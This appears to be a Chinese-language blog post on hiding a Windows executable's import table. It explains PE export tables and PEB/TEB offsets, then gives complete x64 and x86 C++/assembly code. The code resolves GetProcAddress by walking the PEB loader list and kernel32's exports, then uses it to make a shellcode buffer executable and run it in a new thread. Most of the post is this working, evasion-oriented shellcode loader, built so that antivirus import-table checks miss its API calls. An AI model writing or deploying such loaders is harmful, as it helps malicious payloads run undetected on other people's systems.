隐藏导入表

1.基础概念

导入表

显示了 EXE 需要调用哪些 DLL 的哪些函数

查看 EXE 导入表

安装 Visual Studio,将 dumpbin.exe 加入环境变量

dumpbin /imports xxx.exe

导出表

显示了 DLL 可以提供哪些函数

查看 DLL 导出表

安装 Visual Studio,将 dumpbin.exe 加入环境变量

dumpbin /exports xxx.dll

PE 结构

PE 文件起始为 DOS头

NT 头包含 PE 文件各种信息

TEB 结构体:包含进程的线程信息

PEB 结构体:包含进程信息

InInitializationOrderModuleList 链表:节点是 LDR_DATA_TABLE_ENTRY 结构体,可以遍历获取已经加载了的 DLL 的地址

InLoadOrderModuleList 链表:节点是 LDR_DATA_TABLE_ENTRY 结构体,可以遍历获取已经加载了的 DLL 的地址

——————————————

DOS头地址 + 其 e_lfanew 字段可以偏移到 NT头

DOS头 + NT头 的 OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 字段可以偏移到导出表

x64

gs:[0x30] 指向 TEB

gs:[0x60] 和 TEB+0x60 指向 PEB

PEB+0x18 指向 PEB_LDR_DATA

PEB_LDR_DATA+0x30 是 InInitializationOrderModuleList

x86

fs:[0x0] 指向 TEB

fs:[0x30] 和 TEB+0x30 指向 PEB

PEB+0x0c 指向 PEB_LDR_DATA

PEB_LDR_DATA+0x0c 是 InLoadOrderModuleList

2.x64 隐藏导入表

流程

主动找到函数地址来调用函数不会记录到导入表

获取 InInitializationOrderModuleList 地址
遍历 InInitializationOrderModuleList 获取 EXE 运行自动加载的 Kernel32.dll 地址
遍历 Kernel32.dll 导出表,获取 GetProcAddress 函数地址
通过 GetProcAddress 地址调用 GetProcAddress 函数获取其他必要函数地址
通过必要函数地址调用必要函数加载 ShellCode

代码编写

x64 不能直接在 C 代码中写汇编

选择 Dubug,视图->解决方案资源管理器->源文件->添加->新建项->x64.asm

x64.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm)、输出($(IntDir)%(fileName).obj)

x64.asm (获取 InInitializationOrderModuleList 地址):

.CODE
    GetInInitializationOrderModuleList PROC
    mov rax,gs:[60h] ; PEB,不能写 0x60
    mov rax,[rax+18h] ; PEB_LDR_DATA
    mov rax,[rax+30h] ; InInitializationOrderModuleList
    ret ; 不能写 retn
    GetInInitializationOrderModuleList ENDP
END

x64Debug.cpp

#include <windows.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// 声明自定义函数,extern "C" 表示使用 C语言的调用约定
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();

// 获取 Kernel32 地址
HMODULE GetKernel32Address() {
    // 获取 InInitializationOrderModuleList
    LIST_ENTRY* node = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // LIST_ENTRY 是双向链表结构体

    // 遍历 InInitializationOrderModuleList
    while (1) {
        UNICODE_STRING* fullDllName = (UNICODE_STRING*)((BYTE*)node + 0x38); // x86 偏移量是 0x24
        if (*(fullDllName->Buffer + 12) == '\0') { // 模块完整名称是 KERNEL32.DLL\0
            return (HMODULE)(*((ULONG64*)((BYTE*)node + 0x10))); // 返回模块基址(DllBase)
        }
        node = node->Flink; // 下一个节点
    }
}

// 获取 GetProcAddress 函数地址
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
    // 获取 Kernel32.dll DOS头
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;

    // 获取 NT头
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64

    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
    // 函数的地址为ULONG,所以用PULONG指针
    PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
    PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址

    // 遍历导出函数
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
        PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
        if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
            return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
        }
    }
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
    unsigned char buf[] = "ShellCode";

    HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址

    // 获取必要函数地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

    // 加载 ShellCode
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

3.x86 隐藏导入表

流程

与 x64 的区别是获取 Kernel32.dll 的地址是通过遍历 InLoadOrderModuleList

代码编写

x86 可以直接在 C 代码中写汇编

x86Debug.cpp:

#include <windows.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    UINT32 CheckSum;
    UINT32 TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// 获取 Kernel32 地址,与 x64 不同
HMODULE GetKernel32Address() {
    // 获取 InLoadOrderModuleList
    LDR_DATA_TABLE_ENTRY* node = NULL;
    __asm {
        mov eax, fs: [0x30] // PEB
        mov eax, [eax + 0x0C] // PEB_LDR_DATA
        mov eax, [eax + 0x0C] // InLoadOrderModuleList
        mov node, eax
    }

    // 遍历 InLoadOrderModuleList
    char kernel32Name[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; // unicode \0 结尾
    while (1) {
        if (!strcmp((const char*)node->BaseDllName.Buffer, kernel32Name)) { // 模块名是 KERNEL32.DLL\0
            return (HMODULE)node->DllBase; // 返回模块基址
        }
        node = (LDR_DATA_TABLE_ENTRY*)node->InLoadOrderLinks.Flink; // 下一个节点
    }
}

// 获取 GetProcAddress 函数地址,同 x64
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
    // 获取 Kernel32.dll DOS头
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;

    // 获取 NT头
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64

    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // 函数的地址为ULONG,所以用PULONG指针
    PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
    PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址

    // 遍历导出函数
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
        PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
        if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
            return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
        }
    }
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
    unsigned char buf[] = "ShellCode";

    HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址

    // 获取必要函数地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

    // 加载 ShellCode
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}
posted @ 2023-03-07 22:44  Hacker&Cat  阅读(617)  评论(0编辑  收藏  举报